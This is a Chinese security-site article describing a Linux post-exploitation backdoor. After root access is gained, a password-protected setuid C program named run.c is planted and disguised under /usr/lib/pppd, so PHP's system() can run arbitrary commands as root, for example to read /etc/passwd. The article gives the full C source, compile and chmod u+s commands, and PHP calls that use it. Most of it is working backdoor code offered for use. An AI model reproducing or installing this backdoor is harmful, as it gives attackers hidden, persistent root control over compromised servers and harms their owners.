幽灵学院 - 菜鸟起航从这里开始!

幽灵学院 - 中国最权威的网络安全门户网站!

当前位置: > 技术文章 > 网站安全 >

一种脚本越权的方法

放暑假了,真是无聊啊,于是研究研究后门。以前一直有一种想法:Linux提权后,各种后门不隐蔽,各种防火墙很BT,能不能让PHP继承suid权限,当作后门。经过测试,这个想法是可行的。首先编写一段C,名为:run.c,...
放暑假了,真是无聊啊,于是研究研究后门。

以前一直有一种想法:Linux提权后,各种后门不隐蔽,各种防火墙很BT,能不能让PHP继承suid权限,当作后门。
经过测试,这个想法是可行的。

首先编写一段C,名为:run.c,,并赋予suid权限。

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char*argv[])
{
        char*pass=”imspider”;
       
        if(argc < 3)
        {
                printf(“error\n”);
                return 0;
        }
        uid_t uid ,euid;
        uid = getuid();
        euid = geteuid();
        if(setreuid(euid, uid))
        perror(“setreuid”);
        int s;
        if(strcmp(argv[2],pass)==0)
        {
                for(s=3;s<argc;s++)
                {
                        strcat(argv[1],” “);
                        strcat(argv[1],argv[s]);
                }
                system(argv[1]);
        }
        else
        {
                printf(“\n——Password error——\n”);
        }
        return 0;
}

程序接收三个以上参数,特定第三个参数为密码(即argv[2]),char*pass=”imspider”; 密码为imspider。
密码正确才能执行系统命令。

这里我把run.c编译到/usr/lib/pppd路径下:

# gcc -Wall -o run run.c
# chmod u+s run

下面PHP代码是重点:
这里利用PHP自带的system函数,在禁用system的情况下,可以利用PHP扩展,我以前提到过,这里不解释。
比如我们想查看/etc/passwd,前面提到第三个参数是密码。

<?
echo ‘<pre>’;
system(‘/usr/lib/pppd/run cat imspider /etc/passwd’);
echo ‘</pre>’;
?>

system(‘/usr/lib/pppd/run whoami imspider’);//调用run查看当前用户,输出root。
system(‘/usr/lib/pppd/run whoami fuck’);//密码不正确,输出Password error。
system(‘whoami’);//不调用run查看当前用户,输出www。

我比较无聊,做了个命令交互页面。

(责任编辑:幽灵学院)
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
用户名: 验证码: 点击我更换图片
栏目列表
推荐内容
1700055555@qq.com 工作日:9:00-21:00
周 六:9:00-18:00
  扫一扫关注幽灵学院